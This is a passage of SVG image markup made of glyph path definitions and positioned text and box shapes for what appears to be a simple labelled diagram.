d="M1.063-10h2.375V0H1.062zm.14-2.813c0-.406.125-.738.375-1 .25-.257.61-.39 1.078-.39.469 0 .844.133 1.125.39.281.25.422.586.422 1 0 .407-.14.731-.422.97-.281.241-.656.359-1.125.359s-.828-.118-1.078-.36c-.25-.25-.375-.57-.375-.969zm0 0"/></symbol><symbol overflow="visible" id="v"><path style="stroke:none" d="M5.813 0v-6.078c0-.738-.09-1.254-.266-1.547-.168-.29-.453-.438-.86-.438-.355 0-.656.11-.906.329-.25.21-.433.476-.547.796V0H.86v-10h1.907l.28 1.156h.048c.238-.383.566-.71.984-.984.414-.27.957-.406 1.625-.406.395 0 .75.062 1.063.187.312.117.57.309.78.578.22.274.38.637.485 1.094.114.46.172 1.031.172 1.719V0zm0 0"/></symbol><symbol overflow="visible" id="w"><path style="stroke:none" d="M1.734-2.125h2.282v-7.86l.265-1.359-.828 1.188-1.312 1.015-1.094-1.343 3.86-3.75h1.39v12.109h2.25V0H1.734zm0 0"/></symbol><symbol overflow="visible" id="R"><path style="stroke:none" d="M8.047-10.64a7.8 7.8 0 0 1-.313 2.14c-.199.719-.453 1.43-.765 2.125a20.678 20.678 0 0 1-1.032 1.984c-.375.625-.742 1.18-1.093 1.657l-.89.812v.11l1.202-.313h3.11V0H1.234v-1.375c.282-.352.582-.75.907-1.188.332-.445.66-.921.984-1.421.332-.5.648-1.02.953-1.563.313-.539.582-1.082.813-1.625.226-.539.41-1.07.546-1.594.145-.52.22-1.004.22-1.453 0-.562-.137-1.015-.407-1.36-.262-.343-.672-.515-1.234-.515a2.57 2.57 0 0 0-1.047.235 3.09 3.09 0 0 0-.875.546l-.89-1.75a4.943 4.943 0 0 1 1.468-.89c.562-.219 1.223-.328 1.984-.328.477 0 .926.078 1.344.234.414.156.77.387 1.063.688.3.304.539.683.718 1.14.176.45.266.977.266 1.578zm0 0"/></symbol><symbol overflow="visible" id="Y"><path style="stroke:none" d="M8.844-.563c-.356.293-.824.508-1.406.641a7.62 7.62 0 0 1-1.72.203c-.718 0-1.39-.12-2.015-.36-.617-.25-1.156-.66-1.625-1.234-.469-.582-.84-1.335-1.11-2.265-.261-.938-.39-2.082-.39-3.438 0-1.414.149-2.586.453-3.515.301-.938.692-1.68 1.172-2.235.488-.55 1.047-.941 1.672-1.171a5.549 5.549 0 0 1 1.906-.344c.657 0 1.223.058 1.703.172.489.105.891.218 1.204.343l-.5 2.22a4.112 4.112 0 0 0-.907-.298 5.909 5.909 0 0 0-1.203-.11c-.918 0-1.625.403-2.125 1.204-.492.793-.734 2.043-.734 3.75 0 .73.054 1.402.172 2.016.113.605.289 1.125.53 1.562.25.438.563.777.938 1.016.383.242.844.36 1.375.36.47 0 .868-.063 1.204-.188.332-.125.632-.274.906-.454zm0 0"/></symbol><symbol overflow="visible" id="Z"><path style="stroke:none" d="M.078-10h1.11v-1.875l2.375-.75V-10H5.5v2.125H3.562v4.36c0 .574.055.98.172 1.218.114.242.317.36.61.36.195 0 .375-.02.531-.063.164-.04.344-.102.531-.188L5.703-.28a4.676 4.676 0 0 1-1.031.36 4.78 4.78 0 0 1-1.219.155c-.762 0-1.328-.218-1.703-.656-.375-.437-.563-1.176-.563-2.219v-5.234H.079zm0 0"/></symbol><symbol overflow="visible" id="aa"><path style="stroke:none" d="m4.063-4.375.25 1.563h.109l.172-1.594L5.766-10h2.437l-2.5 9.016c-.23.793-.445 1.5-.64 2.125-.2.625-.415 1.156-.641 1.593-.23.446-.492.786-.781 1.016a1.573 1.573 0 0 1-1.016.344c-.281 0-.555-.028-.813-.078a2.123 2.123 0 0 1-.671-.22l.406-2.03c.164.062.336.086.516.078a.73.73 0 0 0 .5-.203c.156-.125.289-.325.406-.594.125-.262.226-.61.312-1.047L-.203-10h2.86zm0 0"/></symbol><symbol overflow="visible" id="ab"><path style="stroke:none" d="m.422-2.313 4.672-8.546.843-.829H.423V-14h8.062v2.313L3.781-3.079l-.828.765h5.531V0H.422zm0 0"/></symbol><symbol overflow="visible" id="ac"><path style="stroke:none" d="M1.125-14h2.516V0H1.125zm0 0"/></symbol><symbol overflow="visible" id="ad"><path style="stroke:none" d="M.906-13.86a15.781 15.781 0 0 1 1.578-.25c.57-.062 1.145-.093 1.72-.093.612 0 1.218.058 1.812.172.593.117 1.117.34 1.578.672.468.336.847.804 1.14 1.406.301.605.454 1.398.454 2.375 0 .875-.126 1.621-.376 2.234-.25.617-.585 1.117-1 1.5A3.704 3.704 0 0 1 6.391-5a5.29 5.29 0 0 1-1.672.266h-.266a10.596 10.596 0 0 1-.766-.047 1.822 1.822 0 0 1-.265-.032V0H.906zm2.516 6.782c.082.023.234.043.453.062a4.6 4.6 0 0 0 .438.032c.3 0 .582-.036.843-.11.27-.082.508-.218.719-.406.207-.195.367-.46.484-.797.125-.344.188-.773.188-1.297 0-.445-.059-.82-.172-1.125a1.862 1.862 0 0 0-.469-.734 1.628 1.628 0 0 0-.672-.375 2.54 2.54 0 0 0-.796-.125c-.418 0-.758.031-1.016.094zm0 0"/></symbol><symbol overflow="visible" id="ae"><path style="stroke:none" d="M.5-5c0-1.77.344-3.086 1.031-3.953.696-.875 1.664-1.313 2.907-1.313 1.332 0 2.328.446 2.984 1.329.656.874.984 2.187.984 3.937 0 1.793-.351 3.121-1.047 3.984C6.66-.16 5.688.266 4.438.266 1.813.266.5-1.488.5-5zm2.453 0c0 1 .113 1.777.344 2.328.226.543.61.813 1.14.813.508 0 .883-.235 1.125-.704.25-.476.375-1.289.375-2.437 0-1.031-.117-1.813-.343-2.344-.219-.531-.606-.797-1.157-.797-.468 0-.835.243-1.093.72-.262.468-.39 1.276-.39 2.421zm0 0"/></symbol><symbol overflow="visible" id="af"><path style="stroke:none" d="M5.797-3.594c0-.426-.125-.789-.375-1.094-.25-.3-.57-.582-.953-.843-.375-.27-.79-.547-1.235-.828a7.376 7.376 0 0 1-1.25-.985 5.242 5.242 0 0 1-.953-1.312c-.25-.508-.375-1.13-.375-1.86 0-.687.102-1.265.313-1.734.207-.469.488-.852.844-1.156.363-.301.789-.52 1.28-.656a5.713 5.713 0 0 1 1.595-.22c.675 0 1.304.071 1.89.204.582.137 1.07.312 1.469.531l-.781 2.235c-.23-.165-.57-.313-1.016-.438a5.103 5.103 0 0 0-1.453-.203c-.524 0-.922.11-1.203.328-.274.21-.406.516-.406.922 0 .375.124.71.374 1a5.7 5.7 0 0 0 .938.828c.383.262.8.54 1.25.828.445.281.86.617 1.234 1 .383.375.704.824.954 1.344.25.512.375 1.121.375 1.828 0 .71-.106 1.324-.313 1.844-.2.511-.492.937-.875 1.281A3.528 3.528 0 0 1 5.75.016 5.602 5.602 0 0 1 3.984.28c-.836 0-1.562-.086-2.187-.25C1.18-.125.707-.3.375-.5l.828-2.266c.258.168.625.329 1.094.485.469.156.969.234 1.5.234 1.332 0 2-.515 2-1.547zm0 0"/></symbol><symbol overflow="visible" id="ag"><path style="stroke:none" d="M.875-9.406c.406-.239.906-.43 1.5-.578a8.794 8.794 0 0 1 2.047-.22c1.133 0 1.922.298 2.36.892.445.585.671 1.417.671 2.5 0 .625-.016 1.242-.047 1.843-.031.606-.058 1.2-.078 1.782-.012.585 0 1.148.031 1.687.04.531.133 1.04.282 1.516H5.703l-.39-1.22h-.079a2.74 2.74 0 0 1-.89.97c-.387.25-.875.375-1.469.375-.781 0-1.402-.258-1.86-.782C.567-1.17.345-1.879.345-2.766c0-1.195.426-2.046 1.281-2.546.852-.508 2.004-.723 3.453-.641.07-.781.024-1.344-.14-1.688-.168-.343-.528-.515-1.079-.515-.398 0-.808.047-1.234.14-.43.094-.809.227-1.14.391zm2.86 7.5c.363 0 .656-.086.874-.266a1.88 1.88 0 0 0 .516-.594v-1.656a3.802 3.802 0 0 0-.89-.016 2.23 2.23 0 0 0-.735.172c-.21.094-.383.235-.516.422-.125.18-.187.406-.187.688 0 .406.082.719.25.937.164.211.394.313.687.313zm0 0"/></symbol><symbol overflow="visible" id="x"><path style="stroke:none" d="M1.063-1.672c.226.156.546.305.953.438.414.136.89.203 1.421.203.676 0 1.223-.16 1.641-.485.414-.332.625-.851.625-1.562 0-.469-.121-.875-.36-1.219a4.588 4.588 0 0 0-.905-.969c-.356-.289-.743-.578-1.157-.859a9.064 9.064 0 0 1-1.172-.938 4.842 4.842 0 0 1-.89-1.171c-.242-.446-.36-.985-.36-1.61 0-1.008.301-1.754.907-2.234.613-.488 1.406-.735 2.375-.735.601 0 1.132.06 1.593.172.47.106.848.243 1.141.407l-.438 1.187c-.21-.133-.515-.254-.921-.36a5.19 5.19 0 0 0-1.391-.171c-.648 0-1.125.164-1.438.484-.312.313-.468.711-.468 1.188 0 .43.117.804.36 1.125.237.324.534.633.89.922.363.28.75.574 1.156.875.414.293.805.62 1.172.984.363.355.664.762.906 1.219.238.449.36.984.36 1.61 0 1.062-.313 1.898-.938 2.5-.625.593-1.512.89-2.656.89-.719 0-1.309-.07-1.766-.203C1.243-.117.875-.27.593-.438zm0 0"/></symbol><symbol overflow="visible" id="y"><path style="stroke:none" d="M.156-9h1.11v-1.781l1.296-.422V-9H4.5v1.172H2.562v5.36c0 .53.063.917.188 1.155.125.231.328.344.61.344.238 0 .445-.023.624-.078.176-.062.364-.133.563-.219l.266 1.032c-.274.136-.57.238-.891.312-.313.082-.64.125-.985.125-.605 0-1.039-.195-1.296-.578-.25-.395-.375-1.031-.375-1.906v-5.547H.156zm0 0"/></symbol><symbol overflow="visible" id="z"><path style="stroke:none" d="M1.063-9h.921l.235.953h.047c.164-.344.382-.613.656-.812.27-.196.598-.297.984-.297.27 0 .582.054.938.156l-.25 1.313a2.75 2.75 0 0 0-.828-.157c-.387 0-.7.11-.938.328-.242.22-.398.516-.469.891V0H1.063zm0 0"/></symbol><symbol overflow="visible" id="A"><path style="stroke:none" d="M6.438-.61c-.282.262-.649.465-1.094.61a4.456 4.456 0 0 1-1.407.219c-.562 0-1.054-.11-1.468-.328a2.921 2.921 0 0 1-1.016-.954C1.18-1.476.984-1.973.86-2.546A9.338 9.338 0 0 1 .672-4.5c0-1.531.281-2.695.844-3.5.562-.813 1.359-1.219 2.39-1.219.332 0 .664.043 1 .125.332.086.63.258.89.516.259.25.47.605.626 1.062.164.45.25 1.043.25 1.782 0 .199-.012.418-.031.656-.012.23-.028.469-.047.719H2.016c0 .523.039.992.125 1.406.082.418.21.777.39 1.078.188.293.422.523.703.688.282.156.63.234 1.047.234.32 0 .64-.055.953-.172.32-.125.567-.27.735-.438zm-1-4.827c.019-.895-.11-1.551-.391-1.97-.274-.425-.649-.64-1.125-.64-.555 0-.992.215-1.313.64-.324.419-.515 1.075-.578 1.97zm0 0"/></symbol><symbol overflow="visible" id="C"><path style="stroke:none" d="M.969-8.453c.351-.219.773-.383 1.265-.5a6.47 6.47 0 0 1 1.579-.188c.507 0 .914.079 1.218.235.301.148.54.351.719.61.176.25.29.542.344.874.05.324.078.668.078 1.031 0 .72-.016 1.422-.047 2.11-.031.68-.047 1.324-.047 1.937 0 .461.016.887.047 1.281.031.387.086.75.172 1.094h-.984L5-1.03h-.063a2.544 2.544 0 0 1-.796.812c-.344.227-.813.344-1.407.344-.648 0-1.18-.223-1.593-.672C.723-.992.516-1.613.516-2.407c0-.519.086-.952.265-1.296a2.17 2.17 0 0 1 .735-.844A3.04 3.04 0 0 1 2.656-5c.438-.094.926-.14 1.469-.14h.344c.125 0 .254.007.39.015.032-.375.047-.707.047-1 0-.676-.105-1.148-.312-1.422-.2-.281-.57-.422-1.11-.422-.336 0-.699.055-1.093.157a3.41 3.41 0 0 0-.985.375zM4.875-4.11a5.296 5.296 0 0 0-.36-.016c-.117-.008-.234-.016-.359-.016-.293 0-.578.028-.86.079a2.122 2.122 0 0 0-.733.25c-.211.117-.376.277-.5.484-.126.2-.188.453-.188.765 0 .481.113.856.344 1.126.238.261.539.39.906.39.508 0 .898-.117 1.172-.36.281-.238.473-.503.578-.796zm0 0"/></symbol><symbol overflow="visible" id="D"><path style="stroke:none" d="M6.734-3.094c0 .617.004 1.172.016 1.672.008.492.05.977.125 1.453H6l-.297-1.078h-.062c-.18.367-.45.668-.813.906-.355.239-.781.36-1.281.36-.969 0-1.695-.375-2.172-1.125C.906-1.664.672-2.86.672-4.484c0-1.532.285-2.692.86-3.485.581-.789 1.382-1.187 2.405-1.187.352 0 .63.023.829.062.207.043.43.11.671.203v-3.703h1.297zM5.438-7.578a1.513 1.513 0 0 0-.579-.313c-.21-.062-.484-.093-.828-.093-.636 0-1.133.289-1.484.859-.356.574-.531 1.46-.531 2.656 0 .532.03 1.012.093 1.438.07.43.176.797.313 1.11.133.312.312.554.531.718.227.168.504.25.828.25.864 0 1.414-.508 1.656-1.531zm0 0"/></symbol><symbol overflow="visible" id="E"><path style="stroke:none" d="M.922-1.469c.238.137.52.258.844.36.332.105.675.156 1.03.156.395 0 .727-.098 1-.297.282-.195.423-.52.423-.969 0-.363-.09-.664-.266-.906a2.769 2.769 0 0 0-.64-.64 5.361 5.361 0 0 0-.829-.532 4.38 4.38 0 0 1-.843-.594A3.22 3.22 0 0 1 1-5.703C.832-6.016.75-6.41.75-6.891c0-.77.207-1.347.625-1.734.414-.395 1-.594 1.75-.594.5 0 .926.047 1.281.14.364.087.676.204.938.36L5-7.625a3.35 3.35 0 0 0-.797-.297 3.34 3.34 0 0 0-.906-.125c-.438 0-.758.094-.953.281-.2.18-.297.454-.297.829 0 .304.082.562.25.78.176.212.39.403.64.579.258.168.54.344.844.531.301.18.578.39.828.64.258.243.473.532.641.876.176.336.266.761.266 1.281 0 .336-.059.652-.172.953a1.961 1.961 0 0 1-.5.781 2.439 2.439 0 0 1-.828.532c-.325.132-.711.203-1.157.203-.53 0-.992-.055-1.375-.157a3.615 3.615 0 0 1-.968-.406zm0 0"/></symbol><symbol overflow="visible" id="F"><path style="stroke:none" d="M.64-.781c0-.29.087-.524.266-.703a.879.879 0 0 1 .672-.282c.313 0 .567.125.766.375.195.25.297.649.297 1.188 0 .394-.055.75-.157 1.062-.093.32-.226.602-.39.844a2.538 2.538 0 0 1-.531.594c-.188.156-.372.27-.547.344l-.454-.61c.157-.086.301-.195.438-.328.133-.137.242-.293.328-.469.094-.168.164-.343.219-.53.05-.18.078-.36.078-.548a.708.708 0 0 1-.672-.14C.743-.148.641-.414.641-.781zm0 0"/></symbol><symbol overflow="visible" id="G"><path style="stroke:none" d="M1.156-12.469c.383-.113.79-.187 1.219-.219.438-.039.863-.062 1.281-.062.477 0 .953.059 1.422.172a3.2 3.2 0 0 1 1.266.594c.375.28.676.68.906 1.187.238.5.36 1.14.36 1.922 0 .762-.11 1.406-.329 1.938-.218.523-.515.949-.89 1.28-.368.325-.79.563-1.266.72a4.782 4.782 0 0 1-1.453.218H3.094a9.356 9.356 0 0 1-.344-.031c-.117-.008-.2-.02-.25-.031V0H1.156zm2.563.969c-.242 0-.469.012-.688.031-.219.012-.398.04-.531.078v5.36a.68.68 0 0 0 .219.047c.101.011.207.023.312.03h.548c.343 0 .663-.038.968-.124.312-.082.586-.234.828-.453.238-.227.43-.532.578-.907.156-.382.234-.863.234-1.437 0-.5-.07-.914-.203-1.25a2.083 2.083 0 0 0-.546-.813 1.861 1.861 0 0 0-.782-.437 3.463 3.463 0 0 0-.937-.125zm0 0"/></symbol><symbol overflow="visible" id="H"><path style="stroke:none" d="M.703-.813c0-.332.078-.582.235-.75.164-.164.39-.25.671-.25.27 0 .485.086.641.25.164.168.25.418.25.75 0 .356-.086.618-.25.782-.156.164-.371.25-.64.25-.282 0-.508-.086-.673-.25C.781-.195.704-.457.704-.812zm0 0"/></symbol><symbol overflow="visible" id="I"><path style="stroke:none" d="M.781-6.297c0-2.133.336-3.754 1.016-4.86.687-1.1 1.734-1.655 3.14-1.655.75 0 1.391.156 1.922.468.532.305.957.735 1.282 1.297.332.563.578 1.246.734 2.047.156.805.234 1.703.234 2.703 0 2.137-.351 3.758-1.046 4.86C7.375-.333 6.332.218 4.937.218c-.75 0-1.39-.153-1.921-.453a3.794 3.794 0 0 1-1.297-1.313C1.383-2.109 1.145-2.789 1-3.594.852-4.406.781-5.304.781-6.297zm1.422 0c0 .711.047 1.383.14 2.016a6.44 6.44 0 0 0 .485 1.672c.219.48.5.867.844 1.156.344.281.765.422 1.265.422.895 0 1.579-.43 2.047-1.297.47-.863.704-2.188.704-3.969 0-.695-.055-1.363-.157-2a6.692 6.692 0 0 0-.484-1.672c-.211-.488-.492-.879-.844-1.172-.344-.289-.766-.437-1.266-.437-.898 0-1.578.433-2.046 1.297-.461.867-.688 2.195-.688 3.984zm0 0"/></symbol><symbol overflow="visible" id="J"><path style="stroke:none" d="M1.063-12.594h1.296v4.281h.047c.5-.601 1.156-.906 1.969-.906.926 0 1.617.371 2.078 1.11.457.73.688 1.886.688 3.468 0 1.618-.309 2.82-.922 3.61C5.602-.238 4.727.156 3.594.156A5.73 5.73 0 0 1 2.078-.03c-.45-.125-.789-.27-1.015-.438zM2.359-1.313c.164.094.368.168.61.22.25.054.515.077.797.077.625 0 1.117-.296 1.484-.89.363-.594.547-1.504.547-2.735a8.2 8.2 0 0 0-.11-1.39 4.309 4.309 0 0 0-.296-1.078c-.137-.301-.32-.532-.547-.688a1.293 1.293 0 0 0-.797-.25c-.43 0-.781.133-1.063.39-.28.262-.492.61-.625 1.048zm0 0"/></symbol><symbol overflow="visible" id="K"><path style="stroke:none" d="M.672-4.5c0-1.625.273-2.816.828-3.578.563-.758 1.36-1.14 2.39-1.14 1.102 0 1.915.39 2.438 1.171.52.781.781 1.965.781 3.547 0 1.637-.28 2.836-.843 3.594C5.703-.156 4.91.219 3.89.219c-1.106 0-1.918-.39-2.438-1.172C.93-1.734.672-2.914.672-4.5zm1.344 0c0 .531.03 1.016.093 1.453.07.43.18.797.329 1.11.144.312.335.558.578.734.25.168.539.25.875.25.625 0 1.093-.274 1.406-.828.312-.563.469-1.469.469-2.719 0-.52-.04-1-.11-1.438a3.673 3.673 0 0 0-.328-1.125 1.793 1.793 0 0 0-.578-.718 1.422 1.422 0 0 0-.86-.266c-.617 0-1.085.281-1.406.844-.312.562-.468 1.465-.468 2.703zm0 0"/></symbol><symbol overflow="visible" id="L"><path style="stroke:none" d="M2.89-4.61.517-9h1.546l1.344 2.578.36 1 .375-1L5.516-9h1.421L4.531-4.687 7.078 0H5.594l-1.5-2.828-.407-1.078-.406 1.078L1.766 0H.344zm0 0"/></symbol><symbol overflow="visible" id="M"><path style="stroke:none" d="M6.031-.453c-.304.23-.648.398-1.031.5-.387.113-.79.172-1.203.172-.574 0-1.059-.11-1.453-.328a2.695 2.695 0 0 1-.969-.954c-.242-.414-.418-.914-.531-1.5A9.847 9.847 0 0 1 .672-4.5c0-1.531.27-2.695.812-3.5.54-.813 1.32-1.219 2.344-1.219.469 0 .867.043 1.203.125.344.086.633.196.875.328l-.36 1.141c-.48-.281-1-.422-1.562-.422-.656 0-1.152.29-1.484.86-.324.562-.484 1.46-.484 2.687 0 .492.035.953.109 1.39.07.43.191.805.36 1.126.163.312.378.562.64.75.27.187.602.28 1 .28A2.4 2.4 0 0 0 5-1.108c.27-.114.488-.243.656-.391zm0 0"/></symbol><symbol overflow="visible" id="N"><path style="stroke:none" d="M5.281 0v-5.344c0-.476-.015-.89-.047-1.234a2.42 2.42 0 0 0-.203-.828 1.046 1.046 0 0 0-.39-.485c-.168-.101-.387-.156-.657-.156a1.34 1.34 0 0 0-1.046.485 2.5 2.5 0 0 0-.579 1.078V0H1.063v-9h.921l.235.953h.047c.25-.344.546-.625.89-.844.352-.218.801-.328 1.344-.328.457 0 .832.102 1.125.297.29.2.52.555.688 1.063.218-.426.523-.758.921-1 .407-.239.848-.36 1.329-.36a3 3 0 0 1 1.015.156c.29.106.52.29.688.547.175.25.304.59.39 1.016.082.43.125.965.125 1.61V0H9.484v-5.719c0-.781-.078-1.363-.234-1.75-.148-.383-.492-.578-1.031-.578-.45 0-.809.14-1.078.422-.274.281-.465.664-.579 1.14V0zm0 0"/></symbol><symbol overflow="visible" id="O"><path style="stroke:none" d="M1.063-9h.921l.188.969h.078c.445-.79 1.145-1.188 2.094-1.188.945 0 1.656.356 2.125 1.063.476.71.718 1.867.718 3.469 0 .761-.078 1.445-.234 2.046a4.926 4.926 0 0 1-.672 1.547c-.293.43-.648.758-1.062.985a2.82 2.82 0 0 1-1.36.328 4.71 4.71 0 0 1-.843-.063 2.434 2.434 0 0 1-.657-.265v3.703H1.063zm1.296 7.578c.164.149.352.262.563.344.207.086.488.125.844.125.632 0 1.132-.32 1.5-.969.375-.644.562-1.57.562-2.781 0-.5-.031-.953-.094-1.36a3.593 3.593 0 0 0-.312-1.046c-.149-.301-.336-.532-.563-.688a1.323 1.323 0 0 0-.812-.25c-.875 0-1.438.54-1.688 1.61zm0 0"/></symbol><symbol overflow="visible" id="P"><path style="stroke:none" d="M5.672 0v-5.484c0-.907-.106-1.555-.313-1.954-.21-.406-.586-.609-1.125-.609-.48 0-.875.149-1.187.438a2.472 2.472 0 0 0-.688 1.062V0H1.063v-9H2l.234.953h.047c.227-.32.535-.598.922-.828.395-.227.863-.344 1.406-.344.383 0 .723.059 1.016.172.29.106.535.29.734.547.196.25.348.594.454 1.031.101.43.156.977.156 1.64V0zm0 0"/></symbol><symbol overflow="visible" id="Q"><path style="stroke:none" d="m3.297-3.188.375 1.75h.094l.265-1.75L5.406-9H6.72L4.579-.922c-.18.649-.352 1.25-.516 1.813a9.848 9.848 0 0 1-.547 1.468c-.2.414-.422.739-.672.97-.242.237-.528.358-.86.358-.343 0-.64-.054-.89-.156l.218-1.234c.165.062.333.07.5.031.165-.031.32-.133.47-.297.155-.168.296-.418.421-.75.125-.324.238-.75.344-1.281L.125-9h1.484zm0 0"/></symbol><symbol overflow="visible" id="S"><path style="stroke:none" d="M6-3.531H2.437L1.423 0H.094L3.89-12.797h.734L8.422 0H7.016zM2.797-4.734h2.875L4.578-8.625l-.344-1.89h-.046l-.329 1.921zm0 0"/></symbol><symbol overflow="visible" id="T"><path style="stroke:none" d="M2.234-9v5.516c0 .906.094 1.558.282 1.953.187.386.523.578 1.015.578.25 0 .473-.05.672-.156.195-.102.375-.239.531-.407.157-.164.29-.351.407-.562.125-.219.222-.442.296-.672V-9h1.297v6.438c0 .437.016.89.047 1.359.032.46.07.86.125 1.203H6l-.328-1.266h-.063c-.199.399-.492.746-.875 1.047-.386.29-.867.438-1.437.438C2.91.219 2.57.164 2.28.062a1.605 1.605 0 0 1-.734-.515c-.211-.25-.367-.594-.469-1.031-.094-.438-.14-1-.14-1.688V-9zm0 0"/></symbol><symbol overflow="visible" id="U"><path style="stroke:none" d="M1.281-9h1.297v9H1.281zm-.234-2.734c0-.29.078-.524.234-.704a.84.84 0 0 1 .64-.265c.27 0 .49.09.657.265.176.168.266.403.266.704 0 .293-.09.523-.266.687-.168.156-.387.235-.656.235a.856.856 0 0 1-.64-.25c-.157-.176-.235-.399-.235-.672zm0 0"/></symbol><symbol overflow="visible" id="V"><path style="stroke:none" d="M2.453-2.14c0 .417.055.718.172.906.113.18.27.265.469.265.25 0 .547-.066.89-.203L4.11-.125a2.248 2.248 0 0 1-.656.234c-.281.063-.539.094-.765.094-.461 0-.829-.14-1.11-.422-.281-.281-.422-.773-.422-1.484v-10.89h1.297zm0 0"/></symbol><symbol overflow="visible" id="W"><path style="stroke:none" d="M6.734.406c0 1.164-.261 2.024-.78 2.578-.513.551-1.263.829-2.25.829-.595 0-1.087-.055-1.47-.157a3.77 3.77 0 0 1-.937-.344l.375-1.109c.238.102.5.203.781.297.29.094.649.14 1.078.14.727 0 1.227-.203 1.5-.609.27-.406.407-1.09.407-2.047v-.671h-.063c-.188.28-.434.5-.734.656-.305.156-.688.234-1.157.234-.968 0-1.683-.375-2.14-1.125-.45-.75-.672-1.93-.672-3.547 0-1.539.297-2.707.89-3.5.594-.789 1.47-1.187 2.625-1.187.57 0 1.063.054 1.47.156.405.105.765.23 1.077.375zm-1.296-8.11c-.368-.187-.829-.28-1.391-.28-.617 0-1.11.28-1.484.843-.368.555-.547 1.438-.547 2.657 0 .511.03.98.093 1.406.063.418.16.789.297 1.11a2 2 0 0 0 .547.734c.227.18.504.265.828.265.457 0 .817-.117 1.078-.36.258-.237.454-.597.579-1.077zm0 0"/></symbol><symbol overflow="visible" id="X"><path style="stroke:none" d="M5.406-11.5a27.95 27.95 0 0 0-.593-.078 5.185 5.185 0 0 0-.766-.063c-.313 0-.559.063-.734.188-.18.117-.32.281-.422.5a2.492 2.492 0 0 0-.172.828c-.024.336-.031.71-.031 1.125h1.421v1.172H2.688V0H1.39v-7.828H.28V-9h1.11v-.5c0-1.133.195-1.969.593-2.5.407-.54 1.082-.813 2.032-.813.187 0 .41.012.671.032a9.788 9.788 0 0 1 1.47.172c.226.03.41.074.546.125v10.437c0 .399.05.68.156.844.114.168.274.25.485.25.258 0 .562-.067.906-.203L8.328-.11a2.26 2.26 0 0 1-.64.234 3.362 3.362 0 0 1-.782.094c-.449 0-.812-.14-1.093-.422-.274-.29-.407-.785-.407-1.484zm0 0"/></symbol></defs><path style="fill:#fff;fill-opacity:1;stroke:none" d="M0 0h707v453H0z"/><path style="fill-rule:evenodd;fill:#fff;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#fff;stroke-opacity:1;stroke-miterlimit:10" d="M24.194 15.514h35.272v22.578H24.194zm0 0" transform="matrix(20 0 0 20 -482.88 -309.276)"/><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M57.89 22.11h129.301v23.85h-129.3zm0 0"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#a" x="57.891" y="40.359"/><use xlink:href="#b" x="66.367" y="40.359"/><use xlink:href="#c" x="75" y="40.359"/><use xlink:href="#d" x="81.758" y="40.359"/><use xlink:href="#e" x="87.266" y="40.359"/><use xlink:href="#f" x="95.273" y="40.359"/><use xlink:href="#g" x="99.941" y="40.359"/><use xlink:href="#h" x="109.395" y="40.359"/><use xlink:href="#h" x="118.047" y="40.359"/><use xlink:href="#i" x="126.699" y="40.359"/><use xlink:href="#j" x="132.188" y="40.359"/><use xlink:href="#c" x="140.449" y="40.359"/><use xlink:href="#c" x="147.207" y="40.359"/><use xlink:href="#k" x="153.965" y="40.359"/><use xlink:href="#l" x="160.879" y="40.359"/><use xlink:href="#m" x="168.398" y="40.359"/><use xlink:href="#j" x="177.09" y="40.359"/></g><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#b3b3b3;stroke-opacity:1;stroke-miterlimit:10" d="M26.601 18.296h30.457M26.601 36.158h30.457M26.601 18.296a.3.3 0 0 0-.3.3M57.358 18.596a.3.3 0 0 0-.3-.3M26.301 18.596v17.262M57.358 18.596v17.262M26.301 35.858a.3.3 0 0 0 .3.3M57.058 36.158a.3.3 0 0 0 .3-.3" transform="matrix(20 0 0 20 -482.88 -309.276)"/><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M74.566 103.457h102.399v23.852H74.566zm0 0"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#n" x="76.09" y="121.707"/><use xlink:href="#o" x="86.109" y="121.707"/><use xlink:href="#o" x="95.016" y="121.707"/><use xlink:href="#p" x="103.922" y="121.707"/><use xlink:href="#q" x="109.781" y="121.707"/><use xlink:href="#r" x="118.336" y="121.707"/><use xlink:href="#r" x="125.328" y="121.707"/><use xlink:href="#s" x="132.32" y="121.707"/><use xlink:href="#t" x="136.422" y="121.707"/><use xlink:href="#u" x="141.285" y="121.707"/><use xlink:href="#v" x="145.777" y="121.707"/><use xlink:href="#q" x="154.762" y="121.707"/><use xlink:href="#s" x="163.316" y="121.707"/><use xlink:href="#w" x="167.418" y="121.707"/></g><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M197.309 94.184h408v40h-408zm0 0"/><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M197.309 100.184v-6c-3.313 0-6 2.683-6 6zM605.309 100.184h6c0-3.317-2.684-6-6-6zM191.309 100.184h420v28h-420zM197.309 128.184h-6c0 3.312 2.687 6 6 6zM605.309 128.184v6c3.316 0 6-2.688 6-6zm0 0"/><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#4d4d4d;stroke-opacity:1;stroke-miterlimit:10" d="M34.01 20.173h20.4M34.01 22.173h20.4M34.01 20.173a.3.3 0 0 0-.3.3M54.71 20.473a.3.3 0 0 0-.3-.3M33.71 20.473v1.4M54.71 20.473v1.4M33.71 21.873a.3.3 0 0 0 .3.3M54.41 22.173a.3.3 0 0 0 .3-.3" transform="matrix(20 0 0 20 -482.88 -309.276)"/><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M191.309 138.934h239.5v21.25h-239.5zm0 0"/><g style="fill:#4d4d4d;fill-opacity:1"><use xlink:href="#x" x="191.309" y="155.184"/><use xlink:href="#y" x="199.004" y="155.184"/><use xlink:href="#z" x="203.945" y="155.184"/><use xlink:href="#A" x="208.887" y="155.184"/><use xlink:href="#A" x="216.211" y="155.184"/><use xlink:href="#y" x="223.652" y="155.184"/><use xlink:href="#B" x="228.594" y="155.184"/><use xlink:href="#C" x="232.402" y="155.184"/><use xlink:href="#D" x="239.609" y="155.184"/><use xlink:href="#D" x="247.402" y="155.184"/><use xlink:href="#z" x="255.195" y="155.184"/><use xlink:href="#A" x="260.137" y="155.184"/><use xlink:href="#E" x="267.578" y="155.184"/><use xlink:href="#E" x="273.652" y="155.184"/><use xlink:href="#F" x="279.727" y="155.184"/><use xlink:href="#B" x="281.465" y="155.184"/><use xlink:href="#G" x="285.273" y="155.184"/><use 